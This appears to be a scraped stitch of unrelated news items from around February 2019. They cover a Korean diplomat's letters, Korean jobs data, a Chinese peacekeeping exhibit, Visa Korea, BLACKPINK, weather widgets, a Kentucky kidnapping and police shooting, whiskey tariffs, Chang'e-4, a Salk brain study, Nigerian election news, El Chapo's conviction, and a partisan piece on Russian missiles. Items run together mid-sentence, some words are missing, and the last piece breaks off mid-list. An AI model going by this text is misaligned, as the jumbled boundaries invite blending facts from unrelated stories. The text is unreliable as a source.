In a letter written on Jan. 1, 1888, Lee wrote that an unnamed Chinese minister tried to find fault with the Korean mission in every issue and this put the Korean diplomats in trouble. The Chinese influence had drawn out his adjustment to the United States, he said.



In the 1880s, China's Qing Dynasty exerted a great deal of influence in Joseon's internal affairs. Joseon was able to send the diplomatic delegation to the United States for the establishment of the embryonic embassy there only after getting a nod from Qing. It was an approval with strings attached  once Korean diplomats arrived in the United States, they were to pay a visit to the Chinese minister first and consult with their Chinese counterpart before meeting U.S. officials.



Lee was disturbed by the Chinese interference all throughout his time in the United States and later he and Minister Park met U.S. officials without reporting to the Chinese.



Han Cheol-ho, a professor at Dongguk University, said Lee's notes showed the diplomats tried to represent Joseon as a sovereign country and launched independent diplomacy in the United States without seeking China's prior approval. "The Koreans were under pressure all during their stay in the United States because of interruptive China," the historian said.





This photo shows a collection of Lee Sang-jae's 38 letters he sent to his family and friends during his tenure as first secretary at the Korea Legation in the United States. / Courtesy of CHABy Park Hyong-ki



The country's unemployment rate reached a nine-year high of 4.5 percent in January, amid job cuts in manufacturing, according to Statistics Korea, Wednesday.





The rate climbed 0.8 percentage points from January last year, with the number of the unemployed increasing 204,000 to 1.22 million, the highest figure for that month in 19 years.



The country created only 19,000 jobs last month, far less than 334,000 new jobs in January 2018.



This has prompted the Ministry of Economy and Finance to revise its state-run enterprises' hiring plan and other economic measures for rapid implementation.



Finance Minister Hong Nam-ki said his ministry will seek to have the state-owned companies hire 2,000 more regular workers this year.



The initial plan was to create 23,000 jobs in 2019 in public safety and administration, and disaster and accident prevention.



Hong said his ministry will make sure the plan will not create a "one-off effect," and that those jobs will be offered full-time.



"We will have the plan ready by next month," Hong said at a meeting in Seoul.



"We will use all available resources to create 150,000 jobs for all ages this year."



This will include pursuing projects with the private sector to create jobs for the elderly.



The government started a job program for the elderly in January, and Statistics Korea began recording the number of senior citizens trying to secure such work, the finance ministry and the statistics agency explained.



Previously, they were not included in the economically active population, which includes jobseekers.



Since the launch of the program, the number of senior citizens trying to find jobs has increased the unemployment rate, which also has been affected by the manufacturing job losses.



The number of unemployed in their 60s climbed 139,000 in January from the same period a year ago; while those in their 50s increased to 48,000; and in their 40s, 19,000; according to Statistics Korea.



Manufacturing jobs decreased 127,000.



A slowdown in semiconductors has weighed further on employment, the statistics agency added.



Semiconductor exports fell more than 23 percent in January, negatively affecting the overall export data, given that they had accounted for 20 percent of total annual shipments. In 2018, exports of chips increased nearly 30 percent.



To this end, the finance ministry will rapidly draw up a plan to set up a semiconductor cluster here by the end of March.



Analysts say the job market does not look bright this year amid a slowdown.



"This is because of the inevitable economic slowdown and falling consumption on the back of the aging demographics," said Lee Sang-jae, an economist at Eugene Investment & Securities.



UNITED NATIONS, Feb. 13 (ChinaMil) -- A photo exhibition on China's peacekeeping efforts was launched at the UN headquarters in New York on Feb. 11, 2019. It is co-hosted by the Chinese military and the Chinese Permanent Mission to the United Nations and will run until February 22. Some UN officials and permanent representatives to the UN totaling 200 attended the exhibition.

With the theme "CPLA (Chinese People's Liberation Army): A Force for World Peace," the exhibition is composed of four sections as participating in UN peacekeeping missions, securing maritime passages, providing disaster relief and humanitarian assistance, as well as conducting exchanges and cooperation. Via 60 pictures, 17 exhibition boards and various short videos, the exhibition shows the Chinese military's contribution to the world peace and reflects Chinese military's sincerity and goodwill towards the world.

At the ceremony to launch the exhibition, Ma Zhaoxu, China's Permanent Representative to the UN, said that UN peacekeeping operations have played an important role in maintaining international security and peace. China is always a builder of the world peace and a defender of the peacekeeping operations, and is willing to further contribute to world peace and peacekeeping operations with countries around the world.

Under-Secretary-General for Field Support Atul Khare in his speech hailed China's important role and Chinese military's continuous and widespread support to UN peacekeeping, saying that China is a permanent member of the UN security council, the 10th largest contributor of uniformed personnel and the second largest financial contributor to UN peacekeeping budget. Only China shoulders the three glorious responsibilities at the same time, he added.

Last December, China's share of the UN peacekeeping budget was raised from 10.24 percent to 15.22 percent, making it the second largest contributor only after the United States. "China continues to be recognized as an essential partner across the spectrum of UN peacekeeping," Khare said, adding that China "currently deploys a total of 2,508 uniformed personnel, including 70 women, to eight of the UN's current peacekeeping missions."

Mao Naiguo, head of the Chinese PLA delegation for international communication, said that as a staunch force for world peace, the Chinese military has participated in 24 UN peacekeeping operations. China first sent peacekeepers to carry out UN operations in 1990, said Mao, adding that over the past three decades, China has sent over 39,000 peacekeepers to UN missions around the world. "China firmly upholds the purposes and principles of the UN charter and its central role in the international affairs," Mao said.

"As of December 2018, 31 batches of 100 vessels were dispatched to provide safety protection for more than 6600 Chinese and foreign vessels, rescuing, escorting and salvaging more than 70 ships in distress," according to the exhibition.

On safeguarding maritime passages, data from the exhibition showed since December 2008, the Chinese Navy has regularly deployed 3 to 4 vessels in the Gulf of Aden to carry out escort missions. In addition, in recent years, the Chinese military has helped in various international disasters such as Haiti earthquake in 2010, Philippine typhoon Haiyan in 2013, and Ebola epidemic in West Africa.

UN Military Adviser for Peacekeeping Operations Carlos Humberto Loitey said that China's contribution to the UN peacekeeping is worth "highlighting," with "good quality" of peacekeepers and "outstanding support in terms of training."Visa Korea CEO Patrick Yoon speaks to the press in Seoul, Wednesday. Courtesy of Visa Korea



By Park Hyong-ki



Visa Korea will further develop its ecosystem here by launching an innovation center and a program to support startups that solve consumers' problems in financial transactions, the global electronic payment facilitator said Wednesday.



It has begun accepting applications from fintech startups for the global program called the Visa Everywhere Initiative.



Applicants will be given two problems to solve and develop business models.



The winners will be announced in May, and will get support from Visa to work with the greatest financial minds in the world to further tackle related problems.



They will get to work with other startups in Singapore and San Francisco, California in the United States where Visa has innovation centers.



Visa plans to open another center here, without disclosing when and where.



"We are currently negotiating the location. We want to use this opportunity to deepen our strategic relationships with local partners through the fast-track program and the center," Visa Korea CEO Patrick Yoon told a press conference in Seoul, Wednesday.



He added the main purpose of the center will be to spur fintech and help the market here advance further toward the next development stage of digital transactions.



To this end, Visa will make its proprietary software application publicly available and accessible so that its fintech partners can use it to solve problems and develop disruptive business models, said Andrew Park, Visa Korea managing director.



The company is seeking to follow the successful example of Google, which enabled startups to access the search giant's map interface.



"As a result, Uber was born," Park said.



Fintech startups from Visa's accelerator program and innovation center can also use its interface to further enhance personal security and convenience in digital payments through technologies such as the internet of things and cloud computing.



The company has Visa Token Service and Secure Remote Commerce to ensure security when consumers pay their bills not only with their credit cards but also smartphones.



Visa's future fintech partners can join the company to develop sustainable payment models for connected cars and home appliances.



The company is currently working with Honda to develop a system enabling drivers to pay bills inside connected cars.



It is also collaborating with Samsung Electronics to develop a digital transaction system for the tech giant's connected refrigerators.



"We are currently at the pilot stage in connected cars," Park said.



Visa opened its office in Seoul in 1978.

Chung faces daunting task amid industry downturn



By Park Hyong-ki





Ted Chung



By Ko Dong-hwan







BLACKPINK Rose's

of Halsey's "Eyes Closed," released Monday, has accrued almost 5.4 million views in just two days.





The two minute, 27-second clip is available on YouTube and the four-piece K-pop girl band's

. It was released on the star's birthday, leading many to assume it was Rose's birthday present for fans.







She posted the song on her Instagram the same day and it has received over 2.3 million "likes."







The New Zealand-born vocalist, 22, said the clip was meant for her fans and thanked them for "spoiling" her with love.







"So here's me giving a tiny little something back in return," said Rose on the social network, introducing the song's original American performer and her Instagram link. She said she sang the song at the band's Japan concert last year and it has been "one of her favorites for a very long time."







Rose said the

released in 2017, is "such a deep song" and "I remember at the time when I recorded it I was needing some of the healing that this song brings to me."







BLACKPINK debuted on American TV on Monday on "The Late Show with Stephen Colbert," which was recorded at the Ed Sullivan Theater in Manhattan.







The band performed "Ddu du Ddu du" on the popular CBS comedy-talk show. Colbert then told viewers about the band's planned North American concert tour that starts in Los Angeles in April.







BLACKPINK's U.S. television appearances continued on Tuesday on the CBS show "Good Morning America." The group will also appear on ABC's "Strahan and Sara" on Friday.

Kokomo, IN (46901)

Today

Clouds and some sun this morning with more clouds for this afternoon. High around 85F. Winds SSW at 10 to 20 mph..

Tonight

Cloudy with occasional showers overnight. Thunder possible. Low near 70F. Winds S at 10 to 20 mph. Chance of rain 40%.CRESTWOOD, Kentucky  Kentucky State Police have identified two Mansfield people as the victims of a Monday afternoon shooting in Oldham County, Kentucky.

Authorities identified 24-year-old Ty'rell Pounds and 20-year-old Skylar Williams, both of Mansfield, as the victims of a shooting that occurred after a vehicular pursuit. Pounds was identified by Ohio State University Mansfield as the suspect in the alleged kidnapping of Williams from campus that took place just before noon.

According to a press release, at approximately 3:24 p.m. on Feb. 11, Kentucky State Police Post 5 dispatch was contacted by Gallatin County dispatch in reference to a 911 call from a witness, stating a distressed female was observed at a gas station that was forced into a vehicle by a male.

The 911 caller said the female was asking for help and that the vehicle then sped off traveling towards Interstate 71 southbound. Troopers from Post 5 were dispatched to attempt to locate the vehicle, which was described as a dark colored Dodge Caravan with a Quebec registration plate.

After a lengthy pursuit - including a failed traffic stop and the unsuccessful use of stop sticks - Kentucky troopers were joined by the Oldham County Police Department and the Oldham County Sheriff's Office. Units from these agencies positioned themselves at the Pee Wee Valley exit ramp.

Pounds, the driver of the vehicle, crossed Highway 329 in Oldham County attempting to re-enter the interstate. Due to public safety concerns, the primary Kentucky State Police unit performed a legal intervention stop to prevent Pounds' vehicle from re-entering the highway. The vehicle came to a rest on the ramp, and a trooper, unidentified as of Tuesday evening, attempted to apprehend the subject.

Authorities stated that while attempting to apprehend the suspect, the trooper heard a gunshot coming from within the vehicle which he perceived as an immediate and deadly threat to himself and the female passenger, Williams. The trooper drew his service weapon and fired, at which time the suspect (Pounds) was struck, resulting in his death at the scene.

During this event, the female passenger (Williams) was struck by at least one round of gunfire. Williams was transported by Oldham County EMS to the University of Louisville Hospital, where she was pronounced dead by the Jefferson County Coroner.

The investigation is being led by the Kentucky State PolCritical Incident Response Team. Kentucky State Police was assisted by the Oldham County Police Department, Oldham County Sheriffs Office, Oldham County EMS and the Gallatin County Sheriffs Office.

The Ohio State University President Michael Drake issued a statement on Tuesday evening addressing the death of Williams.

"Our Ohio State community suffered a tragic loss with the death of Mansfield student Skylar Williams," Drake said. "This senseless and shocking incident has left our campus shaken. We join Mansfield Dean Norman Jones in expressing our condolences and deepest sympathies. Our thoughts and prayers are with Skylars family."

Additional counseling and consultation services have been made available to members of the university community in need of support on the Mansfield campus. Mansfield students can utilize the Student Assistance Program and support services are also available to students, faculty and staff across the university.

Law enforcement continues to investigate all circumstances surrounding this incident. Anyone with information is encouraged to call the Ohio State Highway Patrol at 419-756-2222.

On Monday afternoon, The Ohio State University at Mansfield posted a notice on its website that Williams was forced into a car at gunpoint while standing in a parking lot on campus at approximately 11:45 a.m.

According to a Mansfield Police report filed on Monday at 1:56 p.m., Pounds' roommate reported Pounds and Williams were at his Wood Street apartment. The roommate stated Williams wasn't hurt, but she was crying. The roommate noted Pounds had a gun and was very serious. He took his keys and his phone and allegedly stole his vehicle.

The roommate said he knew Pounds was going through custody issues with Williams and the two left before the roommate could get dressed. The roommate went to a friend's house to call police but they were already there when he arrived.

According to Pounds' Facebook page, he graduated from North Central State College in April 2018. He was a Mansfield Senior alumnus.

Williams' Facebook page said she attended Mansfield Senior and Madison. She was studying physical therapy at OSU-Mansfield.NEW YORK, Feb. 12 (Xinhua) -- The U.S. export of distilled spirits shrank following the imposition of retaliatory tariffs by major trading partners in the middle of 2018, the latest data released Tuesday by the Distilled Spirits Council of the United States showed.

U.S. whiskey exports were worth 526 million U.S. dollars between January and November 2018, down 8.2 percent from a year earlier, said Christine LoCascio, the council's senior vice president.

By contrast, global whiskey exports recorded a 28 percent growth to reach 595 million dollars in the first half of 2018.

U.S. spirits exports worth 763 million dollars became subject to retaliatory tariffs ranging from 140 percent to 10 percent since mid-2018 following the U.S. tariff hikes on steel and aluminum imports.

Among the trading partners involved, the European Union (EU) accounted for over 40 percent of the U.S. overseas spirits market in 2018, and whiskey alone contributed to 69 percent of total U.S. spirits exports in 2017.

In 2018, U.S. whiskey exports to the EU from January to November fell 8.7 percent year on year, but increased by 33 percent in the first half, the council's data showed.

A similar pattern was noticed in the case of Canada, in which U.S. whiskey exports in the 11 months declined by 8.3 percent, but expanded by 12.4 percent in the first half.

Scott E. Harris, founder and general manager of the small-sized distillery Catoctin Creek based in Virginia, said he has lost 100,000 dollars due to contracts called off for the EU market, and postponed expansion plans, with a hiring freeze and a halt to pay rises, among other things, after the retaliatory tariffs.

"I think we just have to wait right now. A lot of tariffs are here because that puts a very negative impact on our business," Harris told Xinhua.

Harris said he believed that the tariff issue would be resolved eventually.

"We strongly encourage the (Trump) Administration and our trading partners in the EU, Canada and Mexico to quickly resolve these harmful tariffs that are undercutting economic growth in this sector and adversely affecting American workers," said Chris Swonger, president and CEO of the Distilled Spirits Council.

Despite the slowdown in growth, U.S. total exports of distilled spirits are expected to post a record high last year. At the end of November 2018, they were estimated to be some 1.7 billion dollars, compared to the 1.6 billion dollars for the whole year of 2017.Shenandoah, IA (51601)

Today

Variable clouds with thunderstorms - possibly severe this afternoon. Damaging winds and large hail with some storms. High 87F. Winds SSE at 10 to 20 mph. Chance of rain 100%..

Tonight

Variable clouds with strong thunderstorms, especially early. Damaging winds and large hail with some storms. Low 68F. Winds NE at 10 to 15 mph. Chance of rain 50%.Hopkinsville, KY (42240)

Today

Mainly sunny to start, then a few afternoon clouds. High 89F. Winds S at 5 to 10 mph..

Tonight

Partly cloudy skies early will give way to cloudy skies late. Low 72F. Winds S at 10 to 15 mph.For a fourth straight year, Carthage College is among the colleges and universities that produced the most Fulbright U.S. students.

Top-producing institutions are highlighted annually in The Chronicle of Higher Education.

Carthage produced the most students among bachelors institutions in Wisconsin to make the new list, with six of its recent graduates winning Fulbright awards for 2018-19.

I am thrilled that so many of our students are earning Fulbright awards, said Carthage President John Swallow.

Their hard work at Carthage, in academically rigorous classes taught by wonderful faculty who engage them closely, is so worthy of national recognition, and I am so pleased that the students and the faculty who support them are being honored in this way.

Fulbright, the U.S. governments flagship program of international educational exchange, operates in more than 140 countries.

This years cohort of Fulbright fellows won English teaching assistantships to help local teachers with language instruction and serve as cultural ambassadors.

They also won an academic award to conduct independent research overseas.The last person who asked me that is still missing.

If you need me, I'll be underwater.

It's a dry heat.

You call this hot? Bring it on.

Vote

View ResultsIn-state students at the University of Kansas will see no increase in their tuition next year.Subscribe to our podcasts on Apple Podcasts, Spotify or anywhere you get podcasts.BEIJING, Feb. 13 (Xinhua) -- The lander and the rover of the Chang'e-4 probe have been switched to dormant mode for the lunar night after working stably during the past lunar day, the China National Space Administration (CNSA) announced Wednesday.

The lander was switched to a dormant mode at 7:00 p.m. Monday as scheduled, and the rover, Yutu-2 (Jade Rabbit-2), at 8:00 p.m., said the CNSA.

According to China's Lunar and Deep Space Exploration Center, the rover will be woken up on Feb. 28 and the lander on March 1.

The CNSA said that the Chang'e-4 probe worked stably during its second lunar day. The payloads on board including low-frequency radio astronomical instrument, neutron radiation detector, infrared imaging spectrometer and neural atomic detector have been operating smoothly as scheduled.

During its second Lunar day, a camera installed on the rover Yutu-2 took 360-degree panoramic photos on the lander.

Meanwhile, the lunar rover Yutu-2 has driven 120 meters on the far side of the moon, breaking the record of 114.8 meters made by its predecessor, Yutu, China's first rover to leave a trace on the lunar surface in late 2013.

China's Chang'e-4 probe, launched on Dec. 8, landed on the Von Karman Crater in the South Pole-Aitken Basin on the far side of the moon on Jan. 3.

A lunar day equals 14 days on Earth, and a lunar night is the same length. The radioisotope heat source, a collaboration between Chinese and Russian scientists, will support the probe through the lunar night when the temperature falls.

The Chang'e-4 probe woke from its first lunar night on Jan. 31. According to the measurements of Chang'e-4, the temperature of the lunar surface dropped to as low as minus 190 degrees centigrade, colder than expected.

It is the first time Chinese scientists have received first-hand data about the temperatures on the surface of the moon during the lunar night.

Last Friday, the U.S. space agency NASA announced that its Lunar Reconnaissance Orbiter (LRO) acquired a shot on the Chang'e-4 landing site the day after it did so on Jan. 30.

In the picture, the lander and rover of the Chang'e-4 probe are nestled among craters on the floor of the Von Karman crater. Shadows cast by the lander and rover are visible.Central Chinas Hubei province is planning to build 5G stations on expressways across the province after the countrys first smart expressway project was launched here, China News Agency reported on Tuesday, citing China Mobile Hubei Company Limited (Hubei Mobile).

After the 5G bases are built, they will support automated driving and smart tolling along the expressways.

In January 2019, Hubei Mobile signed a tripartite agreement with two companies to establish a lab to promote 5G applications within smart transportation as well as in the process of multi-industry collaboration.

The primary tasks of the lab are to carry out tests related to smart network-supported vehicles, co-build demonstrative sections of expressways connected with 5G networks, work out plans to promote coverage of 5G networks among other things, according to the agreement.

The application of 5G networking within the smart transportation industry will catalyze its development and bring big changes to the transportation industry as a whole, said Fan Bingheng, general manager of Hubei Mobile.

Last September, Hubei Mobile joined hands with other companies and institutes to form a 5G industry alliance in Wuhan. So far, the organization has made multiple achievements in the aspect of intelligent industry management, Internet of Vehicles, and public projects. It is reported that in 2019, Hubei Mobile will invest 1 billion yuan to build 2,000 5G base stations.Uncovering the evolution of the brain

LA JOLLA--(February 12, 2019) What makes us human, and where does this mysterious property of "humanness" come from? Humans are genetically similar to chimpanzees and bonobos, yet there exist obvious behavioral and cognitive differences. Now, researchers from the Salk Institute, in collaboration with researchers from the anthropology department at UC San Diego, have developed a strategy to more easily study the early development of human neurons compared with the neurons of nonhuman primates. The study, which appeared in eLife on February 7, 2019, offers scientists a novel tool for fundamental brain research.

"This study provides insights into the developmental organization of the brain and lays the groundwork for further comparative analyses between humans and nonhuman primates," says one of the senior authors of the study, Salk President and Professor Rusty Gage, who holds the Vi and John Adler Chair for Research on Age-Related Neurodegenerative Disease.

Two important processes in brain development include neuron maturation and migration. Maturation involves neuron growth as the neurons increase their connections between each other for better communication. Migration is the physical movement of neurons into different parts of the developing brain. The authors sought to compare neuron maturation and migration between humans and nonhuman primates.

To accomplish this task, the Gage lab devised a new method utilizing stem cell technology to take skin cells from primates and coax them, via a virus and chemical cocktails, to develop into neural progenitor cells, a cell type that has the ability to become multiple types of cells in the brain, including neurons. These new primate cell lines can then be perpetually propagated, allowing researchers new avenues to study aspects of neuronal development of live neurons without tissue samples from endangered primates such as chimpanzees and bonobos.

"This is a novel strategy to study human evolution," says Carol Marchetto, a Salk senior staff scientist in the Laboratory of Genetics, co-first author and one of the study's senior authors. "We are happy to share these primate cell lines with the scientific community, so that researchers from around the world can examine primate brain development without the use of tissue samples. We anticipate this will lead to numerous new findings over the next few years about the brain's evolution."

The researchers first explored the differences in gene expression related to neuronal movement, comparing human, chimpanzee and bonobo cells. They also investigated the migration properties of the neurons inherent to each species. They found 52 genes related to migration, and, interestingly, chimpanzee and bonobo neurons had periods of rapid migration, while human neurons were slow to move.

In order to compare neuron movement and maturation outside of a dish, the scientists transplanted the neural progenitor cells from both humans and chimpanzees into the brains of rodents, enabling the neurons to thrive and providing additional developmental cues for the neurons to develop.

The researchers then analyzed the differences in migration distance, shape and size of the neurons for up to 19 weeks after transplantation. They observed the length, density and quantity of extensions of the neurons called dendrites, as well as the size of the cell bodies, which house the nucleus and DNA.

The chimpanzee neurons migrated a greater distance and covered a 76 percent greater area than the human neurons after two weeks. Human neurons were slower to develop but reached longer lengths than the chimpanzee neurons. This slower growth pattern may allow humans to reach more developmental milestones than nonhuman primates, which could account for differences in behavior and cognitive abilities.

In the future, the authors hope to construct an evolutionary tree of multiple primate species, utilizing induced pluripotent stem cell lines, to better understand of the evolution of the human brain. In addition, the authors plan to use this platform to study gene regulation differences between primate species that underlie the differences in neuronal maturation and can potentially impact brain organization in humans.

"We have limited knowledge about the evolution of the brain, especially when it comes to differences in cellular development between species," says Marchetto. "We're excited about the tremendous possibilities this work opens up for the field of neuroscience and brain evolution."

###

Other researchers on the study were Krishna Vadodaria, Sara B. Linker, Inigo Narvaiza, Renata Santos, Ahmet M. Denli, Ana P.D. Mendes, Ruth Oefner, Jonathan Cook, Lauren McHenry, Jaeson M Grasmick, Kelly Heard, Callie Fredlender, Lynne Randolph-Moore, Rijul Kshirsagar, Rea Xenitopoulos, Grace Chou and Nasun Hah from the Salk Institute for Biological Studies; Branka Hrvoj-Mihic, Katerina Semendeferi and Alysson R. Muotri from the University of California San Diego; Bilal E. Kerman from at Istanbul Medipol University; Diana X. Yu from the University of Utah; and Krishnan Padmanabhan from the University of Rochester.

The work and the researchers involved were supported by grants from the National Institutes of Health, the Leona M. and Harry B. Helmsley Charitable Trust, the California Institute for Regenerative Medicine and the Brain and Behavior Research Foundation (formerly the National Alliance for Research on Schizophrenia and Depression).

About the Salk Institute for Biological Studies:

Every cure has a starting point. The Salk Institute embodies Jonas Salk's mission to dare to make dreams into reality. Its internationally renowned and award-winning scientists explore the very foundations of life, seeking new understandings in neuroscience, genetics, immunology, plant biology and more. The Institute is an independent nonprofit organization and architectural landmark: small by choice, intimate by nature and fearless in the face of any challenge. Be it cancer or Alzheimer's, aging or diabetes, Salk is where cures begin. Learn more at: salk.edu.

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.



Donate Now As a public service during this pandemic, the Jewish News is providing free, unlimited access to all articles. Jewish News is a nonprofit publication that is owned by the community and relies on community support.Opinion Policies

Editorials are longer opinion pieces that are written by a group of community members recruited across campus who address relevant issues on a local, national and international level. Editorials are research-based. The purpose of the Editorial Board is to promote discussion concerning relevant issues in the community while advising on possible solutions. Topics are chosen via relevancy and interests of the members, which are then discussed by the Editorial Board in order to reach a general consensus concerning the topic or issue.

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Column Policy

Columns are hyper-specific to opinion and are written by only columnists employed by the Iowa State Daily. Columnists are unique because they have a specific writing day and only publish on those writing days. Each column undergoes a thorough editing process ensuring the integrity of the writer, and their claim is maintained while remaining research-based and respectful. Columns may be submitted from community members. These are labelled as Guest Columns. These contain similar research-based content and need to be at least 400 words in length. The following requirements should be met: first and last name, email and relation or position to Iowa State. Emails must be tied to the submitted guest column or it will not be accepted or published. Pseudonyms are prohibited and the writer will be banned from submissions.

Read our full Opinion Policies here. Updated on 10/7/2020Lavrov warns Pompeo against U.S. interference in Venezuela

MOSCOW, Feb. 12 (Xinhua) -- Russian Foreign Minister Sergei Lavrov warned U.S. Secretary of State Mike Pompeo on Tuesday against U.S. intervention in the internal affairs of Venezuela, including the use of force.

Lavrov made the remarks in a phone conversation with Pompeo at the initiative of the U.S. side, the Russian Foreign Ministry said in a statement.

Washington will face violations of international law if the United States intervenes, Lavrov told his counterpart.

"The readiness to hold consultations on the Venezuelan theme in line with the principles of the UN (United Nations) Charter was expressed," the Russian statement read.

The Venezuelan crisis escalated after opposition leader Juan Guaido declared himself interim president during an anti-government rally on Jan. 23, alleging that the government of President Nicolas Maduro is illegitimate.

The United States, among some other countries, has recognized Guaido's presidency, and U.S. President Donald Trump has warned that "all options are on the table."

Maduro, in response, announced the severing of diplomatic and political ties with Washington.Speaker Cody Woodruff addresses his fellow Student Government members during their first meeting of the spring semester Jan. 16 in the Campanile Room of the Memorial Union. During the meeting they elected Jacob Schrader, current IRHA senator, to be chair of the Civic Engagement Committee and confirmed Emily Rizvic as the new election commissioner.Nollywood actress Joke Silva is in mourning as it has just emerged that her younger sister Bisi Silva is dead.

According to reports, Bisi who founded the Centre for Contemporary Art (CCA), where she also happened to be the Artistic Director passed from breast cancer on Tuesday Feb. 12th. She reportedly gave up the ghost at about 3:45 p.m.

The deceased in 2007, opened before she decided on starting the Asiko International Art School in Lagos.

Before her death, Bisi organized several exhibitions in places such as Nigeria, Africa and even Europe.

May her soul rest in peace.The Nation

PEOPLES Democratic Party (PDP) presidential candidate Atiku Abubakar yesterday promised to revive the countrys ailing economy and make Lagos the commercial capital of Africa.

Tribune

The Governor of Ogun State, Senator Ibikunle Amosun, has denied allegations by the National Publicity Secretary of the All Progressives Congress (APC), Mallam Lanre Issa-Onilu that he sponsored thugs to the presidential rally of the party in the state on Monday.

Daily Trust

The Resident Electoral Commissioner (REC) in Akwa Ibom State, Mr. Mike Igini, yesterday, said the commission has relocated 22 polling units from private homes of politicians in the state.

Leadership

INECs Decision To Go Ahead With Elections Despite Attack On Offices, Courageous  CTA

Election observer group, the Centre for Transparency Advocacy (CTA) has commended the Independent National Electoral Commission (INEC) for its decision to ahead with elections in affected states where its offices were burnt.

Daily Times

The All Progressives Congress (APC) has said the party will take punitive measures against the sponsors of Ogun State Presidential rally violence in the state on Monday The party in a press released on Tuesday signed by its Publicity Secretary, Mallam Lanre Issa Onilu regrets what it described as premeditated attacks claimed to be sponsored by Governor Ibikunle Amosun

Guardian

An Abuja High Court has ordered that the former Secretary to the Government of the Federation, Babachir Lawal, be remanded in the Economic and Financial Crimes Commission custody.

Daily Sun

Rivers State Governor, Nyesom Wike, yesterday, received President Muhammadu Buhari at the Nigeria Air Base airstrip in Port Harcourt.

Vanguard

Buhari in Yenagoa, Bayelsa State during the presidential campaign rally of the APC, held at the Oxbow Lake Pavilion, said he will make public officers accountable to the people, just as he assured that his administration will take seriously its programmes of security, economy, and infrastructure.

ThisDay

President Muhammadu Buhari yesterday expressed sadness over the judgment of the Supreme Court barring the All Progressives Congress (APC) from fielding any candidate in Rivers State for the general election, pledging, however, that the party would respect the verdict.NEW YORK, Feb. 12 (Xinhua) -- Mexican drug lord Joaquin Guzman Loera, also known as "El Chapo" (The Shorty), was convicted guilty on all 10 criminal counts at a federal court in New York City's Brooklyn borough on Tuesday.

The 61-year-old is expected to be sentenced to life imprisonment without the possibility of parole at his sentencing hearing, which is scheduled on June 25, according to prosecutors.

The drug kingpin was indicted on 10 charges including engaging in a continuing criminal enterprise, use of firearms, as well as manufacture and international distribution of cocaine, heroin and other drugs.

During the three-month trial, a local jury heard from more than 50 witnesses, many of whom were active members of Mexico's Sinaloa cartel, the world's largest drug-trafficking organization once led by Guzman.

The Sinaloa cartel has trafficked a large amount of heroin, methamphetamine, marijuana and cocaine from Mexico into the United States over the past years, prosecutors said.

Guzman escaped from prison twice in Mexico before he was finally recaptured and extradited to the United States in 2017. Since then he has been held in solitary confinement in the Metropolitan Correctional Center in lower Manhattan, which is considered to be one of the most secure places in the United States.

The Brooklyn Bridge, a city landmark as well as a vital traffic connection between Manhattan and Brooklyn, was closed each time when Guzman was transported under heavy security through the two boroughs, causing trouble for commuters.Former BB Naija house mate,Nina Ivy Chinonso, simply known and addressed as Nina Ivy is definitely not be your every day girl as she is conquering her world one step at a time and graciously too.

Nina who shared a very beautiful picture of herself via her instagram page while also promoting her business  definitely had fans drooling for more than a second.

With a beautiful picture like that, we are very sure no prospective buyer or client would pass her by.Statement by his Excellency Atiku Abubakar, Presidential candidate of Peoples Democratic party and Vice President of Nigeria, 1999-2007 at the 2nd signing ceremony of the Peace Accord in Abuja on Wednesday, 13th February, 2019.

Protocols

May I use this opportunity to renew my profound gratitude, firstly to my party, the Peoples Democratic Party (PDP), and then to General Abdulsalami Abubakar and members of the Peace Committee for their tireless enthusiasm, dedication, and passion towards ensuring the success of this Peace Accord Process!

Our gathering here today clearly demonstrates the importance of the upcoming elections as well as how our democracy has matured, not only to our people, but also to the international community whose solidarity, Nigerias democracy has benefited from.

As we prepare to sign off on this Peace Accord, as representatives of our party and people, may I freely quote the words of former President Goodluck Jonathan, which remains a benchmark, for me, taking into account the deep feelings that prevail as February 16th, 2019, approaches.

My ambition is not worth the blood of any Nigerian.

In this context, I appeal once again to every staff and the leadership of the Independent National Electoral Commission (INEC) and the Nigeria Police Force, to be fair arbiters in the upcoming elections while letting neutrality prevail.

For emphasis and in the spirit of fair play, I also urge our security agencies, not to embark on indiscriminate arrests of members of the opposition, 24 to 48 hours before elections, as has been the case in previous elections.

Hopefully, our democracy should emerge stronger from this process with the 2019 elections proving better managed than the 2015 process, which was adjudged free and fair with the then oppositions victory unobstructed

Consequently, I also appeal to the President, General Buhari, to use his good offices to ensure that every eligible person who casts their vote is confident in the process and in the belief that their vote will count.

Additionally, every candidate must remember that this election is about the future of Nigeria, therefore, we must abide by the will of the people as freely expressed through elections, under the terms of our constitution.

Once again, despite concerns expressed by my party leaders concerning likely electoral malpractices and the intimidation of voters and observers, I trust that our election officials and security services will do their duty in accordance with their oath and obligations.

In conclusion, I appeal once again, to our citizens, to go out and cast their votes for the candidates of their choice, to be peaceful at all times, and confident in our democracy, its institutions and processes.

So, please go out this Saturday to vote for your future and the future of our great nation.

May God bless you and God bless Nigeria

Released By:

Paul Ibe

Media Adviser to HE Atiku Abubakar, Presidential candidate of PDP & Vice President of Nigeria, 1999-2007Home Search ICH RIP INF Treaty: Russias Victory, Americas Waterloo By Dmitry Orlov February 12, 2019 " Information Clearing House " - On March 1, 2018 the world learned of Russias new weapons systems, said to be based on new physical principles. Addressing the Federal Assembly, Putin explained how they came to be: in 2002 the US withdrew from the Anti-Ballistic Missile Treaty. At the time, the Russians declared that they will be forced to respond, and were basically told Do whatever you want. And so they did, developing new weapons that no anti-ballistic missile system can ever hope to stop. The new Russian weapons include one that is already on combat duty (Kinzhal), one that is being readied for mass production (Avangard) and several that are currently being tested (Poseidon, Burevestnik, Peresvet, Sarmat). Their characteristics, briefly, are as follows: Kinzhal: a hypersonic air-launched cruise missile that flies at Mach 10 (7700 miles per hour) and can destroy both ground installations and ships.

Avangard: a maneuverable hypersonic payload delivery system for intercontinental ballistic missiles that flies at better than Mach 20 (15300 miles per hour). It has a 740-mile range and can carry a nuclear charge of up to 300 kilotons.

Poseidon: an autonomous nuclear-powered torpedo with unlimited range that can travel at a 3000-foot depth maintaining a little over 100 knots.

Burevestnik: a nuclear-powered cruise missile that flies at around 270 miles per hour and can stay in the air for 24 hours, giving it a 6000-mile range.

Peresvet: a mobile laser complex that can blind drones and satellites, knocking out space and aerial reconnaissance systems.

